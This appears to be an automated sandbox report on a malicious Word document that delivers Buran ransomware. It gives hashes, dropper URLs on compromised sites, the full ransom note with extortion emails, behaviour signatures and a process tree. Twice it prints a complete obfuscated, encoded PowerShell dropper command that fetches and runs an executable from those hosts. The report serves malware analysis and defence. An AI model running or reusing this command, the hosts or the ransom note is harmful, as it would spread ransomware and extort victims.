Overview

overview

10

Static

static

8

Delivery-77426522.doc

windows7_x64

10

Delivery-77426522.doc

windows10_x64

10

Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    04-11-2020 11:34

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Delivery-77426522.doc

  • Size

    118KB

  • MD5

    29584bef6e963b191cb0a900a75585db

  • SHA1

    3c298a6f35cfdf61fc271a8cad59ea84b827335f

  • SHA256

    0f81f4eb37083c821598ffd57cff12a082f19ca2de57c86faff65755ef332686

  • SHA512

    c4084c658ade731ee3dae206b75ec47cb488c21b95963375a9ad8b016585b5f046c1e635fc65c57f271d99f6a0b0804998056e386c774775b5259a0f00ae8350

Score
10/10
buranevasionpersistenceransomwareupx

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://vidrioindustrial.com/
exe.dropper

http://forcecareer.com/
exe.dropper

http://onw.kx1.in/
exe.dropper

http://hos365llc.com/
exe.dropper

http://testwebsite.taxauctioninvestors.com/
exe.dropper

http://shradhajewellers.com/
exe.dropper

https://educationmillion.com/
exe.dropper

http://geozone.at/

Extracted

Path

C:\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT

Family

buran

Ransom Note
!!! ALL YOUR FILES ARE ENCRYPTED !!! All your files, documents, photos, databases and other important files are encrypted. You are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. To be sure we have the decryptor and it works you can send an email: kassmaster@danwin1210.me and decrypt one file for free. But this file should be of not valuable! Do you really want to restore your files? Write to email: kassmaster@danwin1210.me Reserved email: kassmaster@tutanota.com Your personal ID: 2BE-C57-121 Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.
Emails

kassmaster@danwin1210.me

kassmaster@tutanota.com

Signatures

  • Buran

    Ransomware-as-a-service based on the VegaLocker family first identified in 2019.

    ransomwareburan
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Modifies extensions of user files 2 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets file to hidden 1 TTPs

    Modifies file attributes to stop it showing in Explorer etc.

    evasion
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies service 2 TTPs 4 IoCs
    persistence
  • Drops file in Program Files directory 24122 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 4 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies registry class 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 94 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 94 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs
    evasion

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Delivery-77426522.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:644
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkADQANwB6AHUAMwAgACAAPQAgACAAWwB0AHkAUABFAF0AKAAiAHsAMgB9AHsAMQB9AHsAMwB9AHsAMAB9ACIAIAAtAGYAIAAnAHQATwBSAHkAJwAsACcAZQBtAC4AaQBPAC4ARAAnACwAJwBzAHkAUwBUACcALAAnAGkAUgBFAEMAJwApACAAIAA7ACAAIAAgAHMARQB0ACAAIABOAGgAdABNACAAIAAoAFsAdABZAHAARQBdACgAIgB7ADQAfQB7ADIAfQB7ADUAfQB7ADkAfQB7ADcAfQB7ADEAfQB7ADAAfQB7ADYAfQB7ADgAfQB7ADMAfQAiACAALQBGACAAJwBlACcALAAnAHMAJwAsACcAZQAnACwAJwBOAEEAZwBlAFIAJwAsACcAcwBZAFMAdAAnACwAJwBtAC4AbgAnACwAJwBSAHYASQBDAEUAUABPAEkATgAnACwAJwBUAC4AJwAsACcAdABNAEEAJwAsACcARQAnACkAIAApACAAIAA7ACQAQgBmAG8AeABnAGEAMAA9ACgAJwBRACcAKwAoACcAdwBuAHkAOAAnACsAJwA4ADQAJwApACkAOwAkAFcAdwBwAHAANQA0AHgAPQAkAEIAYQAyAHIAZAA5ADgAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEIAMQBoAGsAdgAyAG0AOwAkAFEAdABuAHkAbwBfAHcAPQAoACcATABpACcAKwAoACcAYwA4AHkAJwArACcAMQAnACkAKwAnAHkAJwApADsAIAAgACQANAA3AHoAVQAzADoAOgAiAGMAYABSAEUAQQBUAGAAZQBgAEQAaQByAGAARQBDAFQATwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAHIAaQBHAFcAbwBpACcAKwAnADEAJwArACcAcwAnACsAJwBhACcAKQArACgAJwBvAHIAJwArACcAaQAnACkAKwAoACcARwAnACsAJwBNAGYAJwApACsAJwAzAG8AJwArACcAZwBoACcAKwAoACcAXwAnACsAJwByAGkARwAnACkAKQAuACIAUgBFAGAAUABsAEEAQwBFACIAKAAoAFsAQwBoAEEAUgBdADEAMQA0ACsAWwBDAGgAQQBSAF0AMQAwADUAKwBbAEMAaABBAFIAXQA3ADEAKQAsACcAXAAnACkAKQApADsAJABKAHkAbQBnAHIAcwA0AD0AKAAoACcARwAnACsAJwBrAHYAJwApACsAJwByADUAJwArACcAeQBwACcAKQA7ACAAKAAgAGcASQAgACAAVgBBAFIAaQBhAGIAbABlADoAbgBIAHQATQAgACkALgBWAEEATAB1AGUAOgA6ACIAcwBlAEMAVQBgAFIAaQBUAGAAeQBwAFIAYABPAFQAYABvAEMATwBsACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAJwApACsAJwAxADIAJwApADsAJABIADEAYgBvAHUAZQAxAD0AKAAoACcASwAnACsAJwA3AGIANgAnACkAKwAoACcANgBfACcAKwAnAHIAJwApACkAOwAkAFgAegA0AHgANgBsAHgAIAA9ACAAKAAoACcAQgAnACsAJwB3ADkAJwApACsAKAAnADkAbwAnACsAJwBmACcAKQArACcAZwAnACkAOwAkAFQAaQBwAGUAbwBmAGIAPQAoACgAJwBVAGYAJwArACcAeAA5ACcAKQArACcAegAnACsAJwBrAGIAJwApADsAJABZAGoAMwB2AHEAOQBrAD0AKAAnAFYAJwArACgAJwBpAHAAaAAnACsAJwAxAHMAJwArACcAcwAnACkAKQA7ACQASgAzAGUAaABrAG0AbQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AFcAbwBpACcAKwAnADEAcwBhAG8AewAwACcAKwAnAH0ATQBmADMAbwBnACcAKwAnAGgAXwAnACsAJwB7ADAAfQAnACkAIAAgAC0AZgAgACAAWwBjAGgAYQByAF0AOQAyACkAKwAkAFgAegA0AHgANgBsAHgAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABPADgAeABsADEAdwB6AD0AKAAnAFYAJwArACgAJwBqACcAKwAnAGMAMQBtACcAKwAnAHQAeQAnACkAKQA7ACQARwB1ADMAdwByAHgAaQA9AG4ARQB3AC0ATwBCAGAAagBgAGUAQwBUACAATgBlAFQALgB3AGUAQgBjAEwASQBlAG4AVAA7ACQAWAA1ADMAeQBjAF8ANgA9ACgAKAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKwAnADoAJwArACgAKAAnACkAKAAnACkAKQArACgAKAAnACkAVwAnACkAKQArACgAKAAnAE4AKQAnACsAJwAoACkAKAAnACkAKQArACcAKQAnACsAKAAoACcAVwAnACsAJwBOACkAJwApACkAKwAoACgAJwAoAHYAJwApACkAKwAoACcAaQBkACcAKwAnAHIAaQBvAGkAbgAnACkAKwAnAGQAJwArACcAdQAnACsAJwBzAHQAJwArACgAJwByACcAKwAnAGkAYQBsAC4AJwApACsAJwBjACcAKwAoACgAJwBvAG0AKQAnACsAJwAoACkAJwApACkAKwAoACgAJwBXACcAKwAnAE4AKQAnACkAKQArACcAKAAnACsAKAAnAGgANgBtAGsAZwAnACsAJwByAC4AJwApACsAKAAnAHIAJwArACcAYQByAEAAJwApACsAJwBoAHQAJwArACcAdAAnACsAKAAoACcAcAA6ACcAKwAnACkAKAApACcAKwAnAFcATgApACgAKQAoACcAKQApACsAKAAoACcAKQAnACsAJwBXAE4AKQAnACkAKQArACgAKAAnACgAZgAnACkAKQArACgAJwBvAHIAYwBlACcAKwAnAGMAJwArACcAYQAnACkAKwAoACcAcgAnACsAJwBlAGUAJwApACsAJwByAC4AJwArACcAYwBvACcAKwAnAG0AJwArACcAKQAnACsAKAAoACcAKAApAFcAJwArACcATgApACcAKQApACsAJwAoACcAKwAoACcAZQAnACsAJwBmAGYAJwApACsAKAAnAG8AOAAnACsAJwB5ACcAKQArACcAdQAnACsAKAAnAC4AcgAnACsAJwBhAHIAJwApACsAKAAnAEAAJwArACcAaAB0AHQAJwApACsAJwBwADoAJwArACgAKAAnACkAKAApAFcATgAnACsAJwApACcAKQApACsAKAAoACcAKAAnACsAJwApACgAKQBXAE4AJwArACcAKQAoAG8AJwArACcAbgAnACkAKQArACcAdwAuACcAKwAnAGsAJwArACcAeAAxACcAKwAnAC4AaQAnACsAKAAoACcAbgApACcAKQApACsAKAAoACcAKAApAFcAJwArACcATgApACcAKQApACsAKAAoACcAKABkAGEAJwArACcAdgA0ADMAYQA1ACcAKwAnAGsAcQAnACkAKQArACgAJwAuACcAKwAnAHIAYQByACcAKQArACcAQABoACcAKwAnAHQAJwArACcAdAAnACsAKAAoACcAcAA6ACkAJwArACcAKAAnACkAKQArACgAKAAnACkAVwAnACsAJwBOACkAKAAnACsAJwApACgAJwApACkAKwAoACgAJwApAFcATgAnACsAJwApACcAKQApACsAKAAoACcAKAAnACsAJwBoAG8AcwAzADYANQBsACcAKQApACsAKAAoACcAbAAnACsAJwBjAC4AYwBvAG0AKQAoACkAJwApACkAKwAnAFcATgAnACsAKAAoACcAKQAoACcAKQApACsAJwBoAGMAJwArACgAJwBpACcAKwAnADAAeABuACcAKQArACcAMAAnACsAKAAnAC4AegBpACcAKwAnAHAAQABoAHQAdAAnACkAKwAoACgAJwBwADoAKQAnACsAJwAoACkAVwAnACkAKQArACgAKAAnAE4AKQAnACkAKQArACgAKAAnACgAKQAnACsAJwAoACcAKQApACsAKAAoACcAKQBXACcAKQApACsAKAAoACcATgApACcAKQApACsAKAAoACcAKAB0ACcAKwAnAGUAcwB0ACcAKQApACsAKAAnAHcAJwArACcAZQBiACcAKQArACgAJwBzAGkAdABlACcAKwAnAC4AdABhACcAKwAnAHgAYQAnACsAJwB1AGMAJwApACsAKAAnAHQAaQAnACsAJwBvAG4AJwApACsAJwBpACcAKwAnAG4AdgAnACsAJwBlACcAKwAnAHMAJwArACgAJwB0AG8AcgAnACsAJwBzACcAKQArACgAKAAnAC4AYwAnACsAJwBvAG0AKQAoACkAJwArACcAVwBOACkAJwApACkAKwAoACgAJwAoAHgAJwArACcAdQBnACcAKQApACsAKAAnAGkAbgAnACsAJwAzACcAKQArACgAJwBxAHUALgB6AGkAJwArACcAcAAnACkAKwAnAEAAaAAnACsAKAAoACcAdAB0AHAAOgAnACsAJwApACgAKQAnACkAKQArACcAVwAnACsAKAAoACcATgApACgAKQAoACkAJwArACcAVwBOACcAKwAnACkAJwApACkAKwAoACgAJwAoAHMAJwArACcAaAByAGEAZABoAGEAJwApACkAKwAnAGoAJwArACgAJwBlACcAKwAnAHcAZQBsAGwAJwApACsAJwBlACcAKwAoACgAJwByAHMALgBjACcAKwAnAG8AbQApACcAKQApACsAKAAnACgAJwArACcAKQBXACcAKQArACgAKAAnAE4AKQAoACcAKwAnAHUAJwApACkAKwAoACcAMAAnACsAJwA1AGcAJwApACsAJwBxACcAKwAoACcAMQBqACcAKwAnAGoAJwApACsAKAAoACcALgByACcAKwAnAGEAcgBAAGgAdAB0AHAAcwA6ACcAKwAnACkAKAAnACkAKQArACgAKAAnACkAJwArACcAVwBOACkAJwApACkAKwAoACcAKAApACcAKwAnACgAKQAnACkAKwAnAFcATgAnACsAJwApACcAKwAoACgAJwAoAGUAZAB1AGMAYQB0ACcAKwAnAGkAJwApACkAKwAoACgAJwBvACcAKwAnAG4AbQBpAGwAbAAnACsAJwBpAG8AbgAuAGMAbwAnACsAJwBtACkAKAAnACsAJwApACcAKQApACsAKAAoACcAVwAnACsAJwBOACkAJwApACkAKwAoACgAJwAoAHkAOAAnACsAJwBoADAAMQB0ACcAKwAnAGcANQA3AC4AcABkACcAKQApACsAKAAoACcAZgBAACcAKwAnAGgAdAB0AHAAJwArACcAOgApACgAKQBXACcAKwAnAE4AKQAoACkAKAApAFcAJwArACcATgApACcAKQApACsAKAAoACcAKABnACcAKQApACsAJwBlAG8AJwArACgAKAAnAHoAbwBuACcAKwAnAGUALgAnACsAJwBhAHQAJwArACcAKQAoACcAKwAnACkAVwBOACcAKwAnACkAKABkAGUAegAnACkAKQArACgAJwBoACcAKwAnAGkAeQB6ACcAKQArACcAbQAnACsAKAAnAC4AegAnACsAJwBpAHAAJwApACkAKQAuACIAUgBgAGUAcABgAEwAYQBjAGUAIgAoACgAKAAoACgAJwApACgAJwApACkAKwAoACgAJwApAFcAJwApACkAKwAoACgAJwBOACcAKwAnACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAHgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAHMAcABgAEwAaQB0ACIAKAAkAFAAMQBhAGYAbwB3AHkAIAArACAAJABXAHcAcABwADUANAB4ACAAKwAgACQAWQBnAGwAZgAxADYAYwApADsAJABRAHQAbwAzAHkAMQB0AD0AKAAnAFAAcwAnACsAKAAnADIAaAAnACsAJwA2AHUAOAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARgB6AHYAdQBkAHIAegAgAGkAbgAgACQAWAA1ADMAeQBjAF8ANgAgAHwAIABzAE8AcgB0AC0AYABPAEIASgBFAGAAYwBUACAAewBnAEUAdAAtAGAAUgBgAEEAbgBEAE8ATQB9ACkAewB0AHIAeQB7ACQARwB1ADMAdwByAHgAaQAuACIARABgAE8AdwBgAE4AbABvAGEARABmAEkAbABlACIAKAAkAEYAegB2AHUAZAByAHoALAAgACQASgAzAGUAaABrAG0AbQApADsAJABQAHkAdwBhAHMAbgAyAD0AKAAoACcARwAnACsAJwA0AG4AdAAnACkAKwAoACcAawAnACsAJwB0AHUAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQASgAzAGUAaABrAG0AbQApAC4AIgBMAEUAYABOAGAAZwBUAGgAIgAgAC0AZwBlACAANAA5ADgAOAAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3AGkAJwArACcAbgAzADIAJwApACsAJwBfACcAKwAnAFAAJwArACgAJwByAG8AYwAnACsAJwBlACcAKQArACcAcwBzACcAKQApAC4AIgBjAFIAYABlAGAAQQBUAEUAIgAoACQASgAzAGUAaABrAG0AbQApADsAJABVAGQANQBlADcAZAA3AD0AKAAnAFIAJwArACgAJwB1ACcAKwAnADcANwByACcAKwAnADAAbwAnACkAKQA7AGIAcgBlAGEAawA7ACQAQQB1AGIAaQBiADQAagA9ACgAJwBMACcAKwAnAHQAJwArACgAJwA2ACcAKwAnAG4AXwBhAGIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAXwBjAHIAYwBnADEAPQAoACgAJwBUACcAKwAnADUANQAnACkAKwAnADQANwAnACsAJwBjADMAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:2100
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:2716
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD IAAkADQANwB6AHUAMwAgACAAPQAgACAAWwB0AHkAUABFAF0AKAAiAHsAMgB9AHsAMQB9AHsAMwB9AHsAMAB9ACIAIAAtAGYAIAAnAHQATwBSAHkAJwAsACcAZQBtAC4AaQBPAC4ARAAnACwAJwBzAHkAUwBUACcALAAnAGkAUgBFAEMAJwApACAAIAA7ACAAIAAgAHMARQB0ACAAIABOAGgAdABNACAAIAAoAFsAdABZAHAARQBdACgAIgB7ADQAfQB7ADIAfQB7ADUAfQB7ADkAfQB7ADcAfQB7ADEAfQB7ADAAfQB7ADYAfQB7ADgAfQB7ADMAfQAiACAALQBGACAAJwBlACcALAAnAHMAJwAsACcAZQAnACwAJwBOAEEAZwBlAFIAJwAsACcAcwBZAFMAdAAnACwAJwBtAC4AbgAnACwAJwBSAHYASQBDAEUAUABPAEkATgAnACwAJwBUAC4AJwAsACcAdABNAEEAJwAsACcARQAnACkAIAApACAAIAA7ACQAQgBmAG8AeABnAGEAMAA9ACgAJwBRACcAKwAoACcAdwBuAHkAOAAnACsAJwA4ADQAJwApACkAOwAkAFcAdwBwAHAANQA0AHgAPQAkAEIAYQAyAHIAZAA5ADgAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEIAMQBoAGsAdgAyAG0AOwAkAFEAdABuAHkAbwBfAHcAPQAoACcATABpACcAKwAoACcAYwA4AHkAJwArACcAMQAnACkAKwAnAHkAJwApADsAIAAgACQANAA3AHoAVQAzADoAOgAiAGMAYABSAEUAQQBUAGAAZQBgAEQAaQByAGAARQBDAFQATwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAHIAaQBHAFcAbwBpACcAKwAnADEAJwArACcAcwAnACsAJwBhACcAKQArACgAJwBvAHIAJwArACcAaQAnACkAKwAoACcARwAnACsAJwBNAGYAJwApACsAJwAzAG8AJwArACcAZwBoACcAKwAoACcAXwAnACsAJwByAGkARwAnACkAKQAuACIAUgBFAGAAUABsAEEAQwBFACIAKAAoAFsAQwBoAEEAUgBdADEAMQA0ACsAWwBDAGgAQQBSAF0AMQAwADUAKwBbAEMAaABBAFIAXQA3ADEAKQAsACcAXAAnACkAKQApADsAJABKAHkAbQBnAHIAcwA0AD0AKAAoACcARwAnACsAJwBrAHYAJwApACsAJwByADUAJwArACcAeQBwACcAKQA7ACAAKAAgAGcASQAgACAAVgBBAFIAaQBhAGIAbABlADoAbgBIAHQATQAgACkALgBWAEEATAB1AGUAOgA6ACIAcwBlAEMAVQBgAFIAaQBUAGAAeQBwAFIAYABPAFQAYABvAEMATwBsACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAJwApACsAJwAxADIAJwApADsAJABIADEAYgBvAHUAZQAxAD0AKAAoACcASwAnACsAJwA3AGIANgAnACkAKwAoACcANgBfACcAKwAnAHIAJwApACkAOwAkAFgAegA0AHgANgBsAHgAIAA9ACAAKAAoACcAQgAnACsAJwB3ADkAJwApACsAKAAnADkAbwAnACsAJwBmACcAKQArACcAZwAnACkAOwAkAFQAaQBwAGUAbwBmAGIAPQAoACgAJwBVAGYAJwArACcAeAA5ACcAKQArACcAegAnACsAJwBrAGIAJwApADsAJABZAGoAMwB2AHEAOQBrAD0AKAAnAFYAJwArACgAJwBpAHAAaAAnACsAJwAxAHMAJwArACcAcwAnACkAKQA7ACQASgAzAGUAaABrAG0AbQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AFcAbwBpACcAKwAnADEAcwBhAG8AewAwACcAKwAnAH0ATQBmADMAbwBnACcAKwAnAGgAXwAnACsAJwB7ADAAfQAnACkAIAAgAC0AZgAgACAAWwBjAGgAYQByAF0AOQAyACkAKwAkAFgAegA0AHgANgBsAHgAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABPADgAeABsADEAdwB6AD0AKAAnAFYAJwArACgAJwBqACcAKwAnAGMAMQBtACcAKwAnAHQAeQAnACkAKQA7ACQARwB1ADMAdwByAHgAaQA9AG4ARQB3AC0ATwBCAGAAagBgAGUAQwBUACAATgBlAFQALgB3AGUAQgBjAEwASQBlAG4AVAA7ACQAWAA1ADMAeQBjAF8ANgA9ACgAKAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKwAnADoAJwArACgAKAAnACkAKAAnACkAKQArACgAKAAnACkAVwAnACkAKQArACgAKAAnAE4AKQAnACsAJwAoACkAKAAnACkAKQArACcAKQAnACsAKAAoACcAVwAnACsAJwBOACkAJwApACkAKwAoACgAJwAoAHYAJwApACkAKwAoACcAaQBkACcAKwAnAHIAaQBvAGkAbgAnACkAKwAnAGQAJwArACcAdQAnACsAJwBzAHQAJwArACgAJwByACcAKwAnAGkAYQBsAC4AJwApACsAJwBjACcAKwAoACgAJwBvAG0AKQAnACsAJwAoACkAJwApACkAKwAoACgAJwBXACcAKwAnAE4AKQAnACkAKQArACcAKAAnACsAKAAnAGgANgBtAGsAZwAnACsAJwByAC4AJwApACsAKAAnAHIAJwArACcAYQByAEAAJwApACsAJwBoAHQAJwArACcAdAAnACsAKAAoACcAcAA6ACcAKwAnACkAKAApACcAKwAnAFcATgApACgAKQAoACcAKQApACsAKAAoACcAKQAnACsAJwBXAE4AKQAnACkAKQArACgAKAAnACgAZgAnACkAKQArACgAJwBvAHIAYwBlACcAKwAnAGMAJwArACcAYQAnACkAKwAoACcAcgAnACsAJwBlAGUAJwApACsAJwByAC4AJwArACcAYwBvACcAKwAnAG0AJwArACcAKQAnACsAKAAoACcAKAApAFcAJwArACcATgApACcAKQApACsAJwAoACcAKwAoACcAZQAnACsAJwBmAGYAJwApACsAKAAnAG8AOAAnACsAJwB5ACcAKQArACcAdQAnACsAKAAnAC4AcgAnACsAJwBhAHIAJwApACsAKAAnAEAAJwArACcAaAB0AHQAJwApACsAJwBwADoAJwArACgAKAAnACkAKAApAFcATgAnACsAJwApACcAKQApACsAKAAoACcAKAAnACsAJwApACgAKQBXAE4AJwArACcAKQAoAG8AJwArACcAbgAnACkAKQArACcAdwAuACcAKwAnAGsAJwArACcAeAAxACcAKwAnAC4AaQAnACsAKAAoACcAbgApACcAKQApACsAKAAoACcAKAApAFcAJwArACcATgApACcAKQApACsAKAAoACcAKABkAGEAJwArACcAdgA0ADMAYQA1ACcAKwAnAGsAcQAnACkAKQArACgAJwAuACcAKwAnAHIAYQByACcAKQArACcAQABoACcAKwAnAHQAJwArACcAdAAnACsAKAAoACcAcAA6ACkAJwArACcAKAAnACkAKQArACgAKAAnACkAVwAnACsAJwBOACkAKAAnACsAJwApACgAJwApACkAKwAoACgAJwApAFcATgAnACsAJwApACcAKQApACsAKAAoACcAKAAnACsAJwBoAG8AcwAzADYANQBsACcAKQApACsAKAAoACcAbAAnACsAJwBjAC4AYwBvAG0AKQAoACkAJwApACkAKwAnAFcATgAnACsAKAAoACcAKQAoACcAKQApACsAJwBoAGMAJwArACgAJwBpACcAKwAnADAAeABuACcAKQArACcAMAAnACsAKAAnAC4AegBpACcAKwAnAHAAQABoAHQAdAAnACkAKwAoACgAJwBwADoAKQAnACsAJwAoACkAVwAnACkAKQArACgAKAAnAE4AKQAnACkAKQArACgAKAAnACgAKQAnACsAJwAoACcAKQApACsAKAAoACcAKQBXACcAKQApACsAKAAoACcATgApACcAKQApACsAKAAoACcAKAB0ACcAKwAnAGUAcwB0ACcAKQApACsAKAAnAHcAJwArACcAZQBiACcAKQArACgAJwBzAGkAdABlACcAKwAnAC4AdABhACcAKwAnAHgAYQAnACsAJwB1AGMAJwApACsAKAAnAHQAaQAnACsAJwBvAG4AJwApACsAJwBpACcAKwAnAG4AdgAnACsAJwBlACcAKwAnAHMAJwArACgAJwB0AG8AcgAnACsAJwBzACcAKQArACgAKAAnAC4AYwAnACsAJwBvAG0AKQAoACkAJwArACcAVwBOACkAJwApACkAKwAoACgAJwAoAHgAJwArACcAdQBnACcAKQApACsAKAAnAGkAbgAnACsAJwAzACcAKQArACgAJwBxAHUALgB6AGkAJwArACcAcAAnACkAKwAnAEAAaAAnACsAKAAoACcAdAB0AHAAOgAnACsAJwApACgAKQAnACkAKQArACcAVwAnACsAKAAoACcATgApACgAKQAoACkAJwArACcAVwBOACcAKwAnACkAJwApACkAKwAoACgAJwAoAHMAJwArACcAaAByAGEAZABoAGEAJwApACkAKwAnAGoAJwArACgAJwBlACcAKwAnAHcAZQBsAGwAJwApACsAJwBlACcAKwAoACgAJwByAHMALgBjACcAKwAnAG8AbQApACcAKQApACsAKAAnACgAJwArACcAKQBXACcAKQArACgAKAAnAE4AKQAoACcAKwAnAHUAJwApACkAKwAoACcAMAAnACsAJwA1AGcAJwApACsAJwBxACcAKwAoACcAMQBqACcAKwAnAGoAJwApACsAKAAoACcALgByACcAKwAnAGEAcgBAAGgAdAB0AHAAcwA6ACcAKwAnACkAKAAnACkAKQArACgAKAAnACkAJwArACcAVwBOACkAJwApACkAKwAoACcAKAApACcAKwAnACgAKQAnACkAKwAnAFcATgAnACsAJwApACcAKwAoACgAJwAoAGUAZAB1AGMAYQB0ACcAKwAnAGkAJwApACkAKwAoACgAJwBvACcAKwAnAG4AbQBpAGwAbAAnACsAJwBpAG8AbgAuAGMAbwAnACsAJwBtACkAKAAnACsAJwApACcAKQApACsAKAAoACcAVwAnACsAJwBOACkAJwApACkAKwAoACgAJwAoAHkAOAAnACsAJwBoADAAMQB0ACcAKwAnAGcANQA3AC4AcABkACcAKQApACsAKAAoACcAZgBAACcAKwAnAGgAdAB0AHAAJwArACcAOgApACgAKQBXACcAKwAnAE4AKQAoACkAKAApAFcAJwArACcATgApACcAKQApACsAKAAoACcAKABnACcAKQApACsAJwBlAG8AJwArACgAKAAnAHoAbwBuACcAKwAnAGUALgAnACsAJwBhAHQAJwArACcAKQAoACcAKwAnACkAVwBOACcAKwAnACkAKABkAGUAegAnACkAKQArACgAJwBoACcAKwAnAGkAeQB6ACcAKQArACcAbQAnACsAKAAnAC4AegAnACsAJwBpAHAAJwApACkAKQAuACIAUgBgAGUAcABgAEwAYQBjAGUAIgAoACgAKAAoACgAJwApACgAJwApACkAKwAoACgAJwApAFcAJwApACkAKwAoACgAJwBOACcAKwAnACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAHgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAHMAcABgAEwAaQB0ACIAKAAkAFAAMQBhAGYAbwB3AHkAIAArACAAJABXAHcAcABwADUANAB4ACAAKwAgACQAWQBnAGwAZgAxADYAYwApADsAJABRAHQAbwAzAHkAMQB0AD0AKAAnAFAAcwAnACsAKAAnADIAaAAnACsAJwA2AHUAOAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARgB6AHYAdQBkAHIAegAgAGkAbgAgACQAWAA1ADMAeQBjAF8ANgAgAHwAIABzAE8AcgB0AC0AYABPAEIASgBFAGAAYwBUACAAewBnAEUAdAAtAGAAUgBgAEEAbgBEAE8ATQB9ACkAewB0AHIAeQB7ACQARwB1ADMAdwByAHgAaQAuACIARABgAE8AdwBgAE4AbABvAGEARABmAEkAbABlACIAKAAkAEYAegB2AHUAZAByAHoALAAgACQASgAzAGUAaABrAG0AbQApADsAJABQAHkAdwBhAHMAbgAyAD0AKAAoACcARwAnACsAJwA0AG4AdAAnACkAKwAoACcAawAnACsAJwB0AHUAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQASgAzAGUAaABrAG0AbQApAC4AIgBMAEUAYABOAGAAZwBUAGgAIgAgAC0AZwBlACAANAA5ADgAOAAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3AGkAJwArACcAbgAzADIAJwApACsAJwBfACcAKwAnAFAAJwArACgAJwByAG8AYwAnACsAJwBlACcAKQArACcAcwBzACcAKQApAC4AIgBjAFIAYABlAGAAQQBUAEUAIgAoACQASgAzAGUAaABrAG0AbQApADsAJABVAGQANQBlADcAZAA3AD0AKAAnAFIAJwArACgAJwB1ACcAKwAnADcANwByACcAKwAnADAAbwAnACkAKQA7AGIAcgBlAGEAawA7ACQAQQB1AGIAaQBiADQAagA9ACgAJwBMACcAKwAnAHQAJwArACgAJwA2ACcAKwAnAG4AXwBhAGIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAXwBjAHIAYwBnADEAPQAoACgAJwBUACcAKwAnADUANQAnACkAKwAnADQANwAnACsAJwBjADMAJwApAA==
        2⤵
        • Blacklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3852
